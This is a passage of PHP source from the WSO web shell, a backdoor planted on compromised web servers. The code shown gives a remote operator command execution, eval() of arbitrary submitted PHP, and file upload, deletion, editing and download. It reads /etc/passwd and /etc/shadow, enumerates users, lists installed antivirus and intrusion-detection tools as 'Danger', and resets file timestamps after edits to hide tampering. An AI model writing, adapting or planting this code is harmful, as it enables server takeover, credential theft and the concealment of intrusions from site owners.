333                                                } elseif (is_resource($f = @popen($in, "r"))) {
334                                                    $out = "";
335                                                    while (!@feof($f)) $out.= fread($f, 1024);
336                                                    pclose($f);
337                                                }
338                                                return $out;
339                                            }
340                                            function wsoViewSize($s) {
341                                                if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
342                                                elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
343                                                elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
344                                                else return $s . ' B';
345                                            }
346                                            function wsoPerms($p) {
347                                                if (($p & 0xC000) == 0xC000) $i = 's';
348                                                elseif (($p & 0xA000) == 0xA000) $i = 'l';
349                                                elseif (($p & 0x8000) == 0x8000) $i = '-';
350                                                elseif (($p & 0x6000) == 0x6000) $i = 'b';
351                                                elseif (($p & 0x4000) == 0x4000) $i = 'd';
352                                                elseif (($p & 0x2000) == 0x2000) $i = 'c';
353                                                elseif (($p & 0x1000) == 0x1000) $i = 'p';
354                                                else $i = 'u';
355                                                $i.= (($p & 0x0100) ? 'r' : '-');
356                                                $i.= (($p & 0x0080) ? 'w' : '-');
357                                                $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
358                                                $i.= (($p & 0x0020) ? 'r' : '-');
359                                                $i.= (($p & 0x0010) ? 'w' : '-');
360                                                $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
361                                                $i.= (($p & 0x0004) ? 'r' : '-');
362                                                $i.= (($p & 0x0002) ? 'w' : '-');
363                                                $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
364                                                return $i;
365                                            }
366                                            function wsoPermsColor($f) {
367                                                if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
368                                                elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
369                                                else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
370                                            }
371                                            function wsoScandir($dir) {
372                                                if (function_exists("scandir")) {
373                                                    return scandir($dir);
374                                                } else {
375                                                    $dh = opendir($dir);
376                                                    while (false !== ($filename = readdir($dh))) $files[] = $filename;
377                                                    return $files;
378                                                }
379                                            }
380                                            function wsoWhich($p) {
381                                                $path = wsoEx('which ' . $p);
382                                                if (!empty($path)) return $path;
383                                                return false;
384                                            }
385                                            function actionSecInfo() {
386                                                wsoHeader();
387                                                echo '<h1>Server security information</h1><div class=content>';
388                                                function wsoSecParam($n, $v) {
389                                                    $v = trim($v);
390                                                    if ($v) {
391                                                        echo '<span>' . $n . ': </span>';
392                                                        if (strpos($v, "
393") === false) echo $v . '<br>';
394                                                        else echo '<pre class=ml1>' . $v . '</pre>';
395                                                    }
396                                                }
397                                                wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
398                                                if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
399                                                wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
400                                                wsoSecParam('Open base dir', @ini_get('open_basedir'));
401                                                wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
402                                                wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
403                                                wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
404                                                $temp = array();
405                                                if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
406                                                if (function_exists('mssql_connect')) $temp[] = "MSSQL";
407                                                if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
408                                                if (function_exists('oci_connect')) $temp[] = "Oracle";
409                                                wsoSecParam('Supported databases', implode(', ', $temp));
410                                                echo '<br>';
411                                                if ($GLOBALS['os'] == 'nix') {
412                                                    wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
413                                                    wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
414                                                    wsoSecParam('OS version', @file_get_contents('/proc/version'));
415                                                    wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
416                                                    if (!$GLOBALS['safe_mode']) {
417                                                        $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
418                                                        $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
419                                                        $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
420                                                        echo '<br>';
421                                                        $temp = array();
422                                                        foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
423                                                        wsoSecParam('Userful', implode(', ', $temp));
424                                                        $temp = array();
425                                                        foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
426                                                        wsoSecParam('Danger', implode(', ', $temp));
427                                                        $temp = array();
428                                                        foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
429                                                        wsoSecParam('Downloaders', implode(', ', $temp));
430                                                        echo '<br/>';
431                                                        wsoSecParam('HDD space', wsoEx('df -h'));
432                                                        wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
433                                                        echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
434                                                        if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
435                                                            $temp = "";
436                                                            for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
437                                                                $uid = @posix_getpwuid($_POST['p2']);
438                                                                if ($uid) $temp.= join(':', $uid) . "
439";
440                                                            }
441                                                            echo '<br/>';
442                                                            wsoSecParam('Users', $temp);
443                                                        }
444                                                    }
445                                                } else {
446                                                    wsoSecParam('OS Version', wsoEx('ver'));
447                                                    wsoSecParam('Account Settings', wsoEx('net accounts'));
448                                                    wsoSecParam('User Accounts', wsoEx('net user'));
449                                                }
450                                                echo '</div>';
451                                                wsoFooter();
452                                            }
453                                            function actionPhp() {
454                                                if (isset($_POST['ajax'])) {
455                                                    WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
456                                                    ob_start();
457                                                    eval($_POST['p1']);
458                                                    $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
459
460	\'") . "';
461";
462                                                    echo strlen($temp), "
463", $temp;
464                                                    exit;
465                                                }
466                                                if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
467                                                wsoHeader();
468                                                if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
469                                                    echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
470                                                    ob_start();
471                                                    phpinfo();
472                                                    $tmp = ob_get_clean();
473                                                    $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
474                                                    echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
475                                                }
476                                                echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
477                                                echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
478                                                if (!empty($_POST['p1'])) {
479                                                    ob_start();
480                                                    eval($_POST['p1']);
481                                                    echo htmlspecialchars(ob_get_clean());
482                                                }
483                                                echo '</pre></div>';
484                                                wsoFooter();
485                                            }
486                                            function actionFilesMan() {
487                                                if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
488                                                if (!empty($_POST['p1'])) {
489                                                    switch ($_POST['p1']) {
490                                                        case 'uploadFile':
491                                                            if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
492                                                            break;
493                                                        case 'mkdir':
494                                                            if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
495                                                            break;
496                                                        case 'delete':
497                                                            function deleteDir($path) {
498                                                                $path = (substr($path, -1) == '/') ? $path : $path . '/';
499                                                                $dh = opendir($path);
500                                                                while (($item = readdir($dh)) !== false) {
501                                                                    $item = $path . $item;
502                                                                    if ((basename($item) == "..") || (basename($item) == ".")) continue;
503                                                                    $type = filetype($item);
504                                                                    if ($type == "dir") deleteDir($item);
505                                                                    else @unlink($item);
506                                                                }
507                                                                closedir($dh);
508                                                                @rmdir($path);
509                                                            }
510                                                            if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
511                                                                if ($f == '..') continue;
512                                                                $f = urldecode($f);
513                                                                if (is_dir($f)) deleteDir($f);
514                                                                else @unlink($f);
515                                                            }
516                                                            break;
517                                                        case 'paste':
518                                                            if ($_COOKIE['act'] == 'copy') {
519                                                                function copy_paste($c, $s, $d) {
520                                                                    if (is_dir($c . $s)) {
521                                                                        mkdir($d . $s);
522                                                                        $h = @opendir($c . $s);
523                                                                        while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
524                                                                    } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
525                                                                }
526                                                                foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
527                                                            } elseif ($_COOKIE['act'] == 'move') {
528                                                                function move_paste($c, $s, $d) {
529                                                                    if (is_dir($c . $s)) {
530                                                                        mkdir($d . $s);
531                                                                        $h = @opendir($c . $s);
532                                                                        while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
533                                                                    } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
534                                                                }
535                                                                foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
536                                                            } elseif ($_COOKIE['act'] == 'zip') {
537                                                                if (class_exists('ZipArchive')) {
538                                                                    $zip = new ZipArchive();
539                                                                    if ($zip->open($_POST['p2'], 1)) {
540                                                                        chdir($_COOKIE['c']);
541                                                                        foreach ($_COOKIE['f'] as $f) {
542                                                                            if ($f == '..') continue;
543                                                                            if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
544                                                                            elseif (@is_dir($_COOKIE['c'] . $f)) {
545                                                                                $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
546                                                                                foreach ($iterator as $key => $value) {
547                                                                                    $zip->addFile(realpath($key), $key);
548                                                                                }
549                                                                            }
550                                                                        }
551                                                                        chdir($GLOBALS['cwd']);
552                                                                        $zip->close();
553                                                                    }
554                                                                }
555                                                            } elseif ($_COOKIE['act'] == 'unzip') {
556                                                                if (class_exists('ZipArchive')) {
557                                                                    $zip = new ZipArchive();
558                                                                    foreach ($_COOKIE['f'] as $f) {
559                                                                        if ($zip->open($_COOKIE['c'] . $f)) {
560                                                                            $zip->extractTo($GLOBALS['cwd']);
561                                                                            $zip->close();
562                                                                        }
563                                                                    }
564                                                                }
565                                                            } elseif ($_COOKIE['act'] == 'tar') {
566                                                                chdir($_COOKIE['c']);
567                                                                $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
568                                                                wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
569                                                                chdir($GLOBALS['cwd']);
570                                                            }
571                                                            unset($_COOKIE['f']);
572                                                            setcookie('f', '', time() - 3600);
573                                                            break;
574                                                        default:
575                                                            if (!empty($_POST['p1'])) {
576                                                                WSOsetcookie('act', $_POST['p1']);
577                                                                WSOsetcookie('f', serialize(@$_POST['f']));
578                                                                WSOsetcookie('c', @$_POST['c']);
579                                                            }
580                                                            break;
581                                                        }
582                                                    }
583                                                    wsoHeader();
584                                                    echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
585                                                    $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
586                                                    if ($dirContent === false) {
587                                                        echo 'Can\'t open this folder!';
588                                                        wsoFooter();
589                                                        return;
590                                                    }
591                                                    global $sort;
592                                                    $sort = array('name', 1);
593                                                    if (!empty($_POST['p1'])) {
594                                                        if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
595                                                    }
596                                                    echo "<script>
597	function sa() {
598		for(i=0;i<d.files.elements.length;i++)
599			if(d.files.elements[i].type == 'checkbox')
600				d.files.elements[i].checked = d.files.elements[0].checked;
601	}
602</script>
603<table width='100%' class='main' cellspacing='0' cellpadding='2'>
604<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
605                                                    $dirs = $files = array();
606                                                    $n = count($dirContent);
607                                                    for ($i = 0;$i < $n;$i++) {
608                                                        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
609                                                        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
610                                                        $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
611                                                        if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
612                                                        elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
613                                                        elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir'));
614                                                    }
615                                                    $GLOBALS['sort'] = $sort;
616                                                    function wsoCmp($a, $b) {
617                                                        if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
618                                                        else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
619                                                    }
620                                                    usort($files, "wsoCmp");
621                                                    usort($dirs, "wsoCmp");
622                                                    $files = array_merge($dirs, $files);
623                                                    $l = 0;
624                                                    foreach ($files as $f) {
625                                                        echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
626                                                        $l = $l ? 0 : 1;
627                                                    }
628                                                    echo "<tr><td colspan=7>
629	<input type=hidden name=a value='FilesMan'>
630	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
631	<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
632	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
633                                                    if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
634                                                    echo "<option value='tar'>Compress (tar.gz)</option>";
635                                                    if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
636                                                    echo "</select>&nbsp;";
637                                                    if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
638                                                    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
639                                                    wsoFooter();
640                                                }
641                                                function actionStringTools() {
642                                                    if (!function_exists('hex2bin')) {
643                                                        function hex2bin($p) {
644                                                            return decbin(hexdec($p));
645                                                        }
646                                                    }
647                                                    if (!function_exists('binhex')) {
648                                                        function binhex($p) {
649                                                            return dechex(bindec($p));
650                                                        }
651                                                    }
652                                                    if (!function_exists('hex2ascii')) {
653                                                        function hex2ascii($p) {
654                                                            $r = '';
655                                                            for ($i = 0;$i < strLen($p);$i+= 2) {
656                                                                $r.= chr(hexdec($p[$i] . $p[$i + 1]));
657                                                            }
658                                                            return $r;
659                                                        }
660                                                    }
661                                                    if (!function_exists('ascii2hex')) {
662                                                        function ascii2hex($p) {
663                                                            $r = '';
664                                                            for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
665                                                            return strtoupper($r);
666                                                        }
667                                                    }
668                                                    if (!function_exists('full_urlencode')) {
669                                                        function full_urlencode($p) {
670                                                            $r = '';
671                                                            for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
672                                                            return strtoupper($r);
673                                                        }
674                                                    }
675                                                    $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
676                                                    if (isset($_POST['ajax'])) {
677                                                        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
678                                                        ob_start();
679                                                        if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
680                                                        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
681
682	\'") . "';
683";
684                                                        echo strlen($temp), "
685", $temp;
686                                                        exit;
687                                                    }
688                                                    if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
689                                                    wsoHeader();
690                                                    echo '<h1>String conversions</h1><div class=content>';
691                                                    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
692                                                    foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
693                                                    echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
694                                                    if (!empty($_POST['p1'])) {
695                                                        if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
696                                                    }
697                                                    echo "</pre></div><br><h1>Search files:</h1><div class=content>
698		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
699			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
700			<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
701			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
702			<tr><td></td><td><input type='submit' value='>>'></td></tr>
703			</table></form>";
704                                                    function wsoRecursiveGlob($path) {
705                                                        if (substr($path, -1) != '/') $path.= '/';
706                                                        $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
707                                                        if (is_array($paths) && @count($paths)) {
708                                                            foreach ($paths as $item) {
709                                                                if (@is_dir($item)) {
710                                                                    if ($path != $item) wsoRecursiveGlob($item);
711                                                                } else {
712                                                                    if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
713                                                                }
714                                                            }
715                                                        }
716                                                    }
717                                                    if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
718                                                    echo "</div><br><h1>Search for hash:</h1><div class=content>
719		<form method='post' target='_blank' name='hf'>
720			<input type='text' name='hash' style='width:200px;'><br>
721            <input type='hidden' name='act' value='find'/>
722			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
723			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
724            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
725		</form></div>";
726                                                    wsoFooter();
727                                                }
728                                                function actionFilesTools() {
729                                                    if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
730                                                    if (@$_POST['p2'] == 'download') {
731                                                        if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
732                                                            ob_start("ob_gzhandler", 4096);
733                                                            header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
734                                                            if (function_exists("mime_content_type")) {
735                                                                $type = @mime_content_type($_POST['p1']);
736                                                                header("Content-Type: " . $type);
737                                                            } else header("Content-Type: application/octet-stream");
738                                                            $fp = @fopen($_POST['p1'], "r");
739                                                            if ($fp) {
740                                                                while (!@feof($fp)) echo @fread($fp, 1024);
741                                                                fclose($fp);
742                                                            }
743                                                        }
744                                                        exit;
745                                                    }
746                                                    if (@$_POST['p2'] == 'mkfile') {
747                                                        if (!file_exists($_POST['p1'])) {
748                                                            $fp = @fopen($_POST['p1'], 'w');
749                                                            if ($fp) {
750                                                                $_POST['p2'] = "edit";
751                                                                fclose($fp);
752                                                            }
753                                                        }
754                                                    }
755                                                    wsoHeader();
756                                                    echo '<h1>File tools</h1><div class=content>';
757                                                    if (!file_exists(@$_POST['p1'])) {
758                                                        echo 'File not exists';
759                                                        wsoFooter();
760                                                        return;
761                                                    }
762                                                    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
763                                                    if (!$uid) {
764                                                        $uid['name'] = @fileowner($_POST['p1']);
765                                                        $gid['name'] = @filegroup($_POST['p1']);
766                                                    } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
767                                                    echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
768                                                    echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
769                                                    if (empty($_POST['p2'])) $_POST['p2'] = 'view';
770                                                    if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
771                                                    else $m = array('Chmod', 'Rename', 'Touch');
772                                                    foreach ($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
773                                                    echo '<br><br>';
774                                                    switch ($_POST['p2']) {
775                                                        case 'view':
776                                                            echo '<pre class=ml1>';
777                                                            $fp = @fopen($_POST['p1'], 'r');
778                                                            if ($fp) {
779                                                                while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
780                                                                @fclose($fp);
781                                                            }
782                                                            echo '</pre>';
783                                                            break;
784                                                        case 'highlight':
785                                                            if (@is_readable($_POST['p1'])) {
786                                                                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
787                                                                $code = @highlight_file($_POST['p1'], true);
788                                                                echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
789                                                            }
790                                                            break;
791                                                        case 'chmod':
792                                                            if (!empty($_POST['p3'])) {
793                                                                $perms = 0;
794                                                                for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
795                                                                if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
796                                                            }
797                                                            clearstatcache();
798                                                            echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
799                                                            break;
800                                                        case 'edit':
801                                                            if (!is_writable($_POST['p1'])) {
802                                                                echo 'File isn\'t writeable';
803                                                                break;
804                                                            }
805                                                            if (!empty($_POST['p3'])) {
806                                                                $time = @filemtime($_POST['p1']);
807                                                                $_POST['p3'] = substr($_POST['p3'], 1);
808                                                                $fp = @fopen($_POST['p1'], "w");
809                                                                if ($fp) {
810                                                                    @fwrite($fp, $_POST['p3']);
811                                                                    @fclose($fp);
812                                                                    echo 'Saved!<br><script>p3_="";</script>';
813                                                                    @touch($_POST['p1'], $time, $time);
814                                                                }
815                                                            }
816                                                            echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
817                                                            $fp = @fopen($_POST['p1'], 'r');
818                                                            if ($fp) {
819                                                                while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
820                                                                @fclose($fp);
821                                                            }
822                                                            echo '</textarea><input type=submit value=">>"></form>';
823                                                            break;
824                                                        case 'hexdump':
825                                                            $c = @file_get_contents($_POST['p1']);
826                                                            $n = 0;
827                                                            $h = array('00000000<br>', '', '');
828                                                            $len = strlen($c);
829                                                            for ($i = 0;$i < $len;++$i) {
